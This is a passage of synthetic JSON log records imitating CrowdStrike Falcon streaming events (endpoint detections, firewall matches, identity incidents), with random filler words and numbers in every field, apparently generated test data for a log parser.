true,"AndroidAppVersionName": "franticgovernment","IsContainerized": true}]}} +{"metadata": {"customerIDString": "nonemuster","offset": 1418673639,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "whichcollege","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\Bismarckianclass","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "IoT","Description": "bravery newspaper shark belief shower way block cast talent method catalog expensiveharvest","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/anyonegrandmother?_cid=xxxxxxx","FileName": "someonerelaxation","FilePath": "Braziliancare\\someonerelaxation","FilesAccessed": [{"FileName": "someonerelaxation","FilePath": "Braziliancare\\someonerelaxation","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "someonerelaxation","FilePath": "Braziliancare\\someonerelaxation","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\theseshrimp","GrandParentImageFileName": "numerousproblem","GrandParentImageFilePath": "coupleream\\numerousproblem","HostGroups": "everybodyjoy","Hostname": "manygroup","LocalIP": "244.202.247.147","LocalIPv6": "117.38.247.225","LogonDomain": "anythingbatch","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "anypod","Name": "someonebill","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 725548536,"ConnectionDirection": 2,"IsIPV6": true,"LocalAddress": "65.212.62.175","LocalPort": 6696,"Protocol": "whatarmy","RemoteAddress": "100.140.94.153","RemotePort": 19149}],"Objective": "mostpod","ParentCommandLine": "C:\\Windows\\Buddhistjourney\\enough ofring","ParentImageFileName": "enough ofring","ParentImageFilePath": "theirveterinarian\\enough ofring","ParentProcessId": -1963109081,"PatternDispositionDescription": "car peace content mob itshedge","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": false,"ContainmentFileSystem": true,"CriticalProcessDisabled": false,"Detect": false,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"InddetMask": true,"Indicator": true,"KillActionFailed": true,"KillParent": false,"KillProcess": false,"KillSubProcess": true,"OperationBlocked": true,"PolicyDisabled": false,"ProcessBlocked": true,"QuarantineFile": false,"QuarantineMachine": true,"RegistryOperationBlocked": false,"Rooting": true,"SensorOnly": false,"SuspendParent": false,"SuspendProcess": false},"PatternDispositionValue": -1990540011,"PatternId": -111455656,"PlatformId": "Tibetanmustering","PlatformName": "Windows","ProcessEndTime": -128599036,"ProcessId": -1265886666,"ProcessStartTime": -546870326,"ReferrerUrl": "theremotherhood","SHA1String": "theirgossip","SHA256String": "herhail","Severity": 20,"SeverityName": "Critical","SourceProducts": "someonecongregation","SourceVendors": "yourtrend","Tactic": "ourstand","Technique": "wherefact","Type": "ldt","UserName": "theseaccommodation"}} +{"metadata": {"customerIDString": "therecast","offset": 436560948,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "wherejoy","UserIp": "67.147.40.168","OperationName": "deactivateUser","ServiceName": "detections","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "howgoal","ValueString": "so fewpainter"}],"Attributes": {"actor_cid": "whyhost","actor_user": "itshrimp","actor_user_uuid": "thistroupe","app_id": "thatslavery","saml_assertion": "thereblock","target_user": "everythingdesktop","trace_id": "abundantgold"}}} +{"metadata": {"customerIDString": "whosedog","offset": -51434368,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "brownroad","DataDomains": "Web","Description": "advice party school time ability troop over therehand","DetectId": "a lotpod","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "207.123.190.249","HostNames": "illdetermination","Name": "someliterature","PatternId": -791998758,"Severity": 96,"SourceProducts": "noplant","SourceVendors": "significantjoy","StartTimeEpoch": 1643317697728000000,"TacticIds": "fewswan","Tactics": "whereheap","TechniqueIds": "whichgroup","Techniques": "foolishbravery","XdrType": "xdr-scheduled-search" } }} +{"metadata": {"customerIDString": "whyday","offset": -664178279,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "howparty","IncidentDescription": "economics way man pack scold estate head senator nobodyscold","Severity": 1,"SeverityName": "High","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "over therewoman","UserName": "fewheap","EndpointName": "nobodypod","EndpointIp": "46.13.136.7","Category": "Detections","NumbersOfAlerts": -696499701,"NumberOfCompromisedEntities": 1805542781,"State": "RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/strangehost?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "therefriend","offset": -1497602444,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "over therebale","PolicyId": 398479010,"PolicyStatement": "thoseman","CloudProvider": "Tibetandog","CloudService": "eachcollection","Severity": 75,"SeverityName": "Informational","EventAction": "Belgiansmoke","EventSource": "somebodyshop","EventCreatedTimestamp": 1663011160,"UserId": "grievingsorrow","UserName": "anythinglove","UserSourceIp": "242.113.20.164","Tactic": "South Americancollection","Technique": "friendlyomen"}} +{"metadata": {"customerIDString": "mylitter","offset": -1538076175,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "Einsteinianfood","MobileDetectionId": -428079410,"ComputerName": "abundantdynasty","UserName": "allexaltation","ContextTimeStamp": 1649061056,"DetectId": "Polynesianproblem","DetectName": "wheretrend","DetectDescription": "library shower company road quantity wheat crew friendship driver place cheese hisbundle","Tactic": "Newtoniandynasty","TacticId": "hugeregiment","Technique": "herfreedom","TechniqueId": "itsquiver","Objective": "whosetroop","Severity": 8,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/myring?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "therebale","AndroidAppLabel": "herewhale","DexFileHashes": "howbusiness","ImageFileName": "thosenest","AppInstallerInformation": "whatscold","IsBeingDebugged": false,"AndroidAppVersionName": "somebodygenetics","IsContainerized": false}]}} +{"metadata": {"customerIDString": "emptygirl","offset": -1078858329,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "howsock","Region": "us-east-1","ResourceId": "yourbridge","ResourceIdType": "Mozartianelephant","ResourceName": "ouralbum","ResourceCreateTime": 0,"PolicyStatement": "anyonearchipelago","PolicyId": -2073273875,"Severity": 62,"SeverityName": "Critical","CloudPlatform": "thereweekend","CloudService": "Dutchfinger","Disposition": "Failed","ResourceUrl": "shybook","Finding": "whattribe","Tags": [{"Key": "impossibleweek","ValueString": "Sri-Lankanstreet"}],"ReportUrl": "everybodyfarm","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "Turkishishschool","offset": -370801054,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "everybodyfailure","State": "open","FineScore": 8.873186554562794,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "aliveplant","HostID": "yoursister","LMHostIDs": ["whereway"],"UserId": "wheretroupe"}} +{"metadata": {"customerIDString": "theresalary","offset": 815788331,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "Germanschool","MobileDetectionId": -115710443,"ComputerName": "itfinger","UserName": "Bahraineancase","ContextTimeStamp": 1649061056,"DetectId": "howsolitude","DetectName": "whichbook","DetectDescription": "basket girl uncle nap wealth government wad board judge bevy bill wheremob","Tactic": "Buddhistexaltation","TacticId": "lonelycare","Technique": "thesecloud","TechniqueId": "thisyear","Objective": "halfdresser","Severity": 21,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Swisspharmacy?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "wheregovernment","AndroidAppLabel": "Turkishisharchipelago","DexFileHashes": "Chinesecompany","ImageFileName": "Turkishworld","AppInstallerInformation": "severaldynasty","IsBeingDebugged": true,"AndroidAppVersionName": "healthyprogress","IsContainerized": true}]}} +{"metadata": {"customerIDString": "nonebale","offset": -2133110234,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "hereseafood","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\muchchair","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Endpoint","Description": "shower courage engine card work teen model apartment trade choir week problem air stack justice judge employment energy thought rain silence whatkeyboard","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/myline?_cid=xxxxxxx","FileName": "noneanthology","FilePath": "mostband\\noneanthology","FilesAccessed": [{"FileName": "noneanthology","FilePath": "mostband\\noneanthology","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "noneanthology","FilePath": "mostband\\noneanthology","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\everyonehedge","GrandParentImageFileName": "blueeye","GrandParentImageFilePath": "whatpacket\\blueeye","HostGroups": "wrongpig","Hostname": "somebodyslavery","LocalIP": "101.92.145.139","LocalIPv6": "30.170.92.115","LogonDomain": "mostcluster","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "successfulorchard","Name": "nonebunch","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 554946842,"ConnectionDirection": 1,"IsIPV6": true,"LocalAddress": "202.184.134.128","LocalPort": 34295,"Protocol": "Viennesesuit","RemoteAddress": "232.12.48.190","RemotePort": 74499}],"Objective": "over therecompany","ParentCommandLine": "C:\\Windows\\ourlips\\thesecongregation","ParentImageFileName": "thesecongregation","ParentImageFilePath": "healthynumber\\thesecongregation","ParentProcessId": 399241102,"PatternDispositionDescription": "clump company mistake care flock magic ream cleverness hereteam","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": false,"ContainmentFileSystem": false,"CriticalProcessDisabled": false,"Detect": true,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"InddetMask": true,"Indicator": false,"KillActionFailed": false,"KillParent": false,"KillProcess": true,"KillSubProcess": false,"OperationBlocked": false,"PolicyDisabled": true,"ProcessBlocked": true,"QuarantineFile": true,"QuarantineMachine": true,"RegistryOperationBlocked": true,"Rooting": true,"SensorOnly": true,"SuspendParent": false,"SuspendProcess": true},"PatternDispositionValue": -754077962,"PatternId": 1029999168,"PlatformId": "arrogantchild","PlatformName": "Linux","ProcessEndTime": -752741724,"ProcessId": 1376366651,"ProcessStartTime": -703921002,"ReferrerUrl": "doublehorror","SHA1String": "doublegroup","SHA256String": "theirconfusion","Severity": 88,"SeverityName": "High","SourceProducts": "Indianwoman","SourceVendors": "Torontonianblock","Tactic": "itresearch","Technique": "sufficientscold","Type": "ldt","UserName": "lots ofshampoo"}} +{"metadata": {"customerIDString": "whatexaltation","offset": 1424415311,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "Belgianvase","DataDomains": "Identity","Description": "leap host herbs forest voice mob road tail string metal fact news cow candle stomach fork mouse plane man fiction ream childhood South Americancarrot","DetectId": "somebrass","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "17.223.189.67","HostNames": "wherelibrary","Name": "thosebody","PatternId": 662283914,"Severity": 86,"SourceProducts": "itsister","SourceVendors": "darkcar","StartTimeEpoch": 1643317697728000000,"TacticIds": "powerlesscleverness","Tactics": "Lebanesegenetics","TechniqueIds": "itsgrowth","Techniques": "Burmesecompany","XdrType": "xdr-scheduled-search" } }} +{"metadata": {"customerIDString": "mytea","offset": 4862485,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "whycollection","DataDomains": "Identity","Description": "pronunciation friend brace couch wound anger work tooblock","DetectId": "itpacket","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "72.3.207.246","HostNames": "nobodywoman","Name": "expensivething","PatternId": -1544135566,"Severity": 14,"SourceProducts": "blushingpair","SourceVendors": "troublingbale","StartTimeEpoch": 1643317697728000000,"TacticIds": "mycackle","Tactics": "enviousstack","TechniqueIds": "therecare","Techniques": "fewbale","XdrType": "xdr" } }} +{"metadata": {"customerIDString": "Putiniststairs","offset": -1371928211,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "Putinistbusiness","Highlights": ["Tibetanwork"],"MatchedTimestamp": 1686889114000,"RuleId": "gentletroop","RuleName": "whatway","RuleTopic": "preciousroom (space)","RulePriority": "anyhandle","ItemId": "herwound","ItemType": "SCRAPPY","ItemPostedTimestamp": 1686889114000}} +{"metadata": {"customerIDString": "Honduranbrother","offset": 781879607,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "Aristotelianmoonlight","State": "closed","FineScore": 5.7330111560525605,"LateralMovement": 0,"IncidentType": 2,"IncidentID": "ourfact","HostID": "theirinnocence","LMHostIDs": ["hundredcar"],"UserId": "puzzledpack"}} +{"metadata": {"customerIDString": "Colombianday","offset": -1815194109,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "substantialthing","UserID": "whosebevy","ExecutionID": "enough ofrhythm","ReportID": "Gabonesepatrol","ReportName": "itunemployment","ReportType": "thesesunshine","ReportFileReference": "whattime","Status": "whatriches","StatusMessage": "itquantity","ExecutionMetadata": {"ExecutionStart": 31416634,"ExecutionDuration": -560350705,"ReportFileName": "singlemuster","ResultCount": 516844617,"ResultID": "thispoint","SearchWindowStart": -1602411656,"SearchWindowEnd": 544449251}}} +{"metadata": {"customerIDString": "noneblock","offset": 1561697687,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "everyonetroop","PolicyId": 588847273,"PolicyStatement": "whosedetermination","CloudProvider": "Iraniancorner","CloudService": "hischild","Severity": 94,"SeverityName": "Informational","EventAction": "brightcomb","EventSource": "successfulbattery","EventCreatedTimestamp": 1663011160,"UserId": "whichband","UserName": "Philippinemetal","UserSourceIp": "4.57.181.164","Tactic": "myplace","Technique": "Finnishflock"}} +{"metadata": {"customerIDString": "youryear","offset": -85722046,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "yourclass","CustomerId": "happyfleet","Ipv": "176.51.58.252","CommandLine": "wherecongregation","ConnectionDirection": "0","EventType": "FirewallRuleApplicationFailed","Flags": {"Audit": true,"Log": true,"Monitor": false},"HostName": "jealousperson","ICMPCode": "Laotianchoir","ICMPType": "whycare","ImageFileName": "hiswildlife","LocalAddress": "104.238.18.196","LocalPort": "19032","MatchCount": -1515421592,"MatchCountSinceLastReport": -1616283640,"NetworkProfile": "Colombianluggage","PID": "94572158","PolicyName": "Turkmenoil","PolicyID": "thoughtfultroupe","Protocol": "Intelligentwatch","RemoteAddress": "52.132.67.64","RemotePort": "51983","RuleAction": "hischild","RuleDescription": "collection number choir troupe trip kindness crew house packet patience string nest idea block stand choir chest crew exaltation loss somebodygrammar","RuleFamilyID": "plaineye","RuleGroupName": "whatfact","RuleName": "whoseparrot","RuleId": "alivegroup","Status": "fewspeed","Timestamp": 1751371830,"TreeID": "hisgroup"}} +{"metadata": {"customerIDString": "neitherchocolate","offset": -372118937,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "mynest","DataDomains": "Web","Description": "howarmy","DetectId": "heavycackle","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "32.137.213.181","HostNames": "itparty","Name": "mycackle","PatternId": 1905558942,"Severity": 91,"SourceProducts": "whichapp","SourceVendors": "heavyrabbit","StartTimeEpoch": 1643317697728000000,"TacticIds": "somesunshine","Tactics": "Kazakhscold","TechniqueIds": "howchildhood","Techniques": "myability","XdrType": "xdr-scheduled-search" } }} +{"metadata": {"customerIDString": "Machiavellianunion","offset": 718725590,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "fewgain","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\eachsuccess","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "IoT","Description": "part ball gun wisp ring welfare pollution truth mistake shower library tolerance harm right basket magic outfit hail company severaleye","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/noneprogram?_cid=xxxxxxx","FileName": "howpair","FilePath": "whosewisp\\howpair","FilesAccessed": [{"FileName": "howpair","FilePath": "whosewisp\\howpair","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "howpair","FilePath": "whosewisp\\howpair","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\herdaughter","GrandParentImageFileName": "numerouscrowd","GrandParentImageFilePath": "itday\\numerouscrowd","HostGroups": "Thatcheriteboots","Hostname": "yourcandy","LocalIP": "135.58.92.156","LocalIPv6": "15.33.0.192","LogonDomain": "wideimagination","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "thesegrowth","Name": "couplecorruption","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -241703332,"ConnectionDirection": 2,"IsIPV6": false,"LocalAddress": "57.167.195.249","LocalPort": 1966,"Protocol": "Atlanticeconomics","RemoteAddress": "57.65.238.143","RemotePort": 8822}],"Objective": "innocentfactory","ParentCommandLine": "C:\\Windows\\thatdisregard\\over therelove","ParentImageFileName": "over therelove","ParentImageFilePath": "Spanishspoon\\over therelove","ParentProcessId": -536072046,"PatternDispositionDescription": "murder employment poverty harvest regiment way film band wisp tendertrade","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": true,"Detect": false,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"InddetMask": false,"Indicator": false,"KillActionFailed": true,"KillParent": true,"KillProcess": true,"KillSubProcess": true,"OperationBlocked": false,"PolicyDisabled": true,"ProcessBlocked": true,"QuarantineFile": false,"QuarantineMachine": false,"RegistryOperationBlocked": true,"Rooting": false,"SensorOnly": false,"SuspendParent": true,"SuspendProcess": true},"PatternDispositionValue": -663700974,"PatternId": -805101681,"PlatformId": "Uzbekrhythm","PlatformName": "Linux","ProcessEndTime": 894808581,"ProcessId": 1925024249,"ProcessStartTime": -663184419,"ReferrerUrl": "itstime","SHA1String": "howcash","SHA256String": "Finnishtelephone","Severity": 52,"SeverityName": "Low","SourceProducts": "anyoneunion","SourceVendors": "doublehat","Tactic": "thatwisdom","Technique": "condemnedlack","Type": "ldt","UserName": "yourgiraffe"}} +{"metadata": {"customerIDString": "Alpinejuice","offset": 1855175240,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "lots ofroom","UserIp": "92.175.29.158","OperationName": "activateUser","ServiceName": "detections","AuditKeyValues": [{"Key": "howbody","ValueString": "whoseregiment"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "manyhost"}}} +{"metadata": {"customerIDString": "uninterestedpack","offset": 1982331356,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "muchsandwich","HostnameField": "myslavery","UserName": "disgustingtime","StartTimestamp": 1582830734,"AgentIdString": "herstairs"}} +{"metadata": {"customerIDString": "plenty ofkindness","offset": 1560495884,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "herecase","DataDomains": "Network","Description": "Machiavellianchild","DetectId": "Laotiancrew","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "0.78.113.82","HostNames": "greatcrib","Name": "itsears","PatternId": 1839132024,"Severity": 62,"SourceProducts": "Danishhatred","SourceVendors": "whatmurder","StartTimeEpoch": 1643317697728000000,"TacticIds": "thistowel","Tactics": "whybook","TechniqueIds": "Kazakhbody","Techniques": "thattrend","XdrType": "xdr" } }} +{"metadata": {"customerIDString": "hereway","offset": 1024865088,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "wheredivorce","State": "open","FineScore": 2.484165845727425,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "thoughtfulparty","HostID": "Bangladeshihost","LMHostIDs": ["obnoxiousexaltation"],"UserId": "theirdishonesty"}} +{"metadata": {"customerIDString": "thatcabin","offset": -1711944094,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "everybodylemon","DataDomains": "Endpoint","Description": "sheaf part donkey bowl laptop anthology Swisscomb","DetectId": "mywelfare","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "218.87.202.198","HostNames": "Thaibattery","Name": "whichbuilding","PatternId": -458966363,"Severity": 4,"SourceProducts": "ourwealth","SourceVendors": "condemnedcloud","StartTimeEpoch": 1643317697728000000,"TacticIds": "whatphysician","Tactics": "anythingtrust","TechniqueIds": "whatgroup","Techniques": "whichdeceit","XdrType": "xdr" } }} +{"metadata": {"customerIDString": "allexaltation","offset": -1520957765,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 1973750771,"ProcessEndTime": 1601414674,"ProcessId": -1735927873,"ParentProcessId": -75612841,"ComputerName": "Afghancast","UserName": "whatharvest","DetectName": "Atlanteanman","DetectDescription": "whichchild","Severity": 3,"SeverityName": "Informational","FileName": "hereteam","FilePath": "everythingimagination\\hereteam","CommandLine": "C:\\Windows\\alldeceit","SHA256String": "Himalayanquiver","MD5String": "sorebird","SHA1String": "Asiananimal","MachineDomain": "Frenchpanda","NetworkAccesses": [{"AccessType": -622454208,"AccessTimestamp": 1751371565,"Protocol": "lightcamp","LocalAddress": "177.92.161.233","LocalPort": 35168,"RemoteAddress": "225.125.142.102","RemotePort": 79066,"ConnectionDirection": 1,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/innocentinfancy?_cid=xxxxxxx","SensorId": "hereworld","IOCType": "command_line","IOCValue": "whatmonkey","DetectId": "heretomato","LocalIP": "176.173.231.175","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "thisappetite","Technique": "whylife","Objective": "hisbale","PatternDispositionDescription": "bouquet professor spoon man stack street stand exaltation soup patrol way bale bunch class pack galaxy host party violence fewshorts","PatternDispositionValue": 860253238,"PatternDispositionFlags": {"Indicator": false,"Detect": true,"InddetMask": false,"SensorOnly": true,"Rooting": true,"KillProcess": false,"KillSubProcess": true,"QuarantineMachine": true,"QuarantineFile": false,"PolicyDisabled": true,"KillParent": false,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": false,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"KillActionFailed": false,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": true,"SuspendParent": true},"ParentImageFileName": "eachfashion","ParentCommandLine": "whichcast","GrandparentImageFileName": "whatcompany","GrandparentCommandLine": "someoneforest","HostGroups": "Thatcheritetroop","AssociatedFile": "Cypriotclass","PatternId": 839535497}} +{"metadata": {"customerIDString": "Beninesechair","offset": -2075627414,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "mysunshine","DataDomains": "Endpoint","Description": "way cackle yoga posse battery murder mob horror goal year couch pharmacy caravan software fire world over thereboard","DetectId": "anyjoy","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "15.43.188.247","HostNames": "a littlechaos","Name": "cautiouspancake","PatternId": -1322158317,"Severity": 91,"SourceProducts": "theremagic","SourceVendors": "adorablebutter","StartTimeEpoch": 1643317697728000000,"TacticIds": "nobodypollution","Tactics": "toohorror","TechniqueIds": "howwisp","Techniques": "allshower","XdrType": "xdr" } }} +{"metadata": {"customerIDString": "thisshirt","offset": -1459608883,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "Orwellianweather","CustomerId": "myteam","Ipv": "80.161.14.82","CommandLine": "Monacanwork","ConnectionDirection": "0","EventType": "FirewallRuleApplicationFailed","Flags": {"Audit": false,"Log": true,"Monitor": true},"HostName": "everyoneloneliness","ICMPCode": "thosepack","ICMPType": "therescold","ImageFileName": "itschild","LocalAddress": "97.233.247.218","LocalPort": "59287","MatchCount": -752703552,"MatchCountSinceLastReport": 1362140228,"NetworkProfile": "whichpod","PID": "1335199845","PolicyName": "Greekcompany","PolicyID": "toughcase","Protocol": "Canadianenergy","RemoteAddress": "42.122.0.30","RemotePort": "45924","RuleAction": "yourpigeon","RuleDescription": "bush part bundle woman thosetrip","RuleFamilyID": "itidea","RuleGroupName": "dangeroussnow","RuleName": "Hitlerianchildhood","RuleId": "lazyoil","Status": "howteam","Timestamp": 1751371830,"TreeID": "thesenumber"}} +{"metadata": {"customerIDString": "somebodyfreedom","offset": 43657060,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "over thereyear","UserID": "Guyanesebouquet","ExecutionID": "heavilyunion","ReportID": "tensereligion","ReportName": "hishost","ReportType": "whygroup","ReportFileReference": "livelyarmy","Status": "eachboard","StatusMessage": "howpod","ExecutionMetadata": {"ExecutionStart": -1103599907,"ExecutionDuration": 148919912,"ReportFileName": "hergirl","ResultCount": -1505061778,"ResultID": "substantialcaravan","SearchWindowStart": -1306083482,"SearchWindowEnd": -1762388995}}} +{"metadata": {"customerIDString": "muchspeed","offset": 2021566226,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "herehail","IncidentDescription": "temple part class government caravan lawn mustering fleet aid house horde wisp life wood lie wisp camp hail power child envy flock tameeye","Severity": 18,"SeverityName": "Informational","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "Rooseveltiangovernment","UserName": "worrisomepigeon","EndpointName": "theseedge","EndpointIp": "253.204.237.58","Category": "Incidents","NumbersOfAlerts": 1612452297,"NumberOfCompromisedEntities": -606725477,"State": "IN_PROGRESS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/mygroup?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "whichmuster","offset": 970552522,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "thatlibrary","IncidentDescription": "sheaf tablet spot riches mercy fact irritation school dream lighter wad set regiment face stand galaxy party host head set horde scold fewrubbish","Severity": 36,"SeverityName": "Critical","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "itswisp","UserName": "somegrandmother","EndpointName": "fewxylophone","EndpointIp": "134.186.0.23","Category": "Incidents","NumbersOfAlerts": -773093891,"NumberOfCompromisedEntities": 284406,"State": "IN_PROGRESS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Monacanobesity?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "hersleep","offset": 2117033481,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "yourtrip","DataDomains": "Identity","Description": "village congregation emptylaughter","DetectId": "anyheap","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "151.18.34.14","HostNames": "hundredregiment","Name": "whyhand","PatternId": 96844202,"Severity": 29,"SourceProducts": "mycourage","SourceVendors": "heavilytrain","StartTimeEpoch": 1643317697728000000,"TacticIds": "ournumber","Tactics": "impromptucluster","TechniqueIds": "wherepacket","Techniques": "lighthand","XdrType": "xdr-scheduled-search" } }} +{"metadata": {"customerIDString": "severalcast","offset": -2011435482,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "muchnest","HostnameField": "thesewit","UserName": "nobodyband","StartTimestamp": 1582830734,"AgentIdString": "theredeceit"}} +{"metadata": {"customerIDString": "whycat","offset": -1991816859,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "itsyear","State": "open","FineScore": 8.621264100330867,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "Danishnation","HostID": "whoseday","LMHostIDs": ["everythingbook"],"UserId": "someenergy"}} +{"metadata": {"customerIDString": "Beethovenianjoy","offset": 1291930396,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "concerningparrot","CustomerId": "purplecup","Ipv": "25.130.123.155","CommandLine": "itswood","ConnectionDirection": "0","EventType": "FirewallRuleIP6Matched","Flags": {"Audit": true,"Log": true,"Monitor": false},"HostName": "theregroup","ICMPCode": "howkangaroo","ICMPType": "Americanthing","ImageFileName": "whichcluster","LocalAddress": "168.220.113.250","LocalPort": "17728","MatchCount": -1354762399,"MatchCountSinceLastReport": 1795572098,"NetworkProfile": "sometea","PID": "1693870489","PolicyName": "fewold age","PolicyID": "thereworld","Protocol": "Africanbunch","RemoteAddress": "139.83.198.250","RemotePort": "37436","RuleAction": "stormyteam","RuleDescription": "range pain brace set town eye ball way government band cluster speed corner comb thing host weight wickedgalaxy","RuleFamilyID": "healthytime","RuleGroupName": 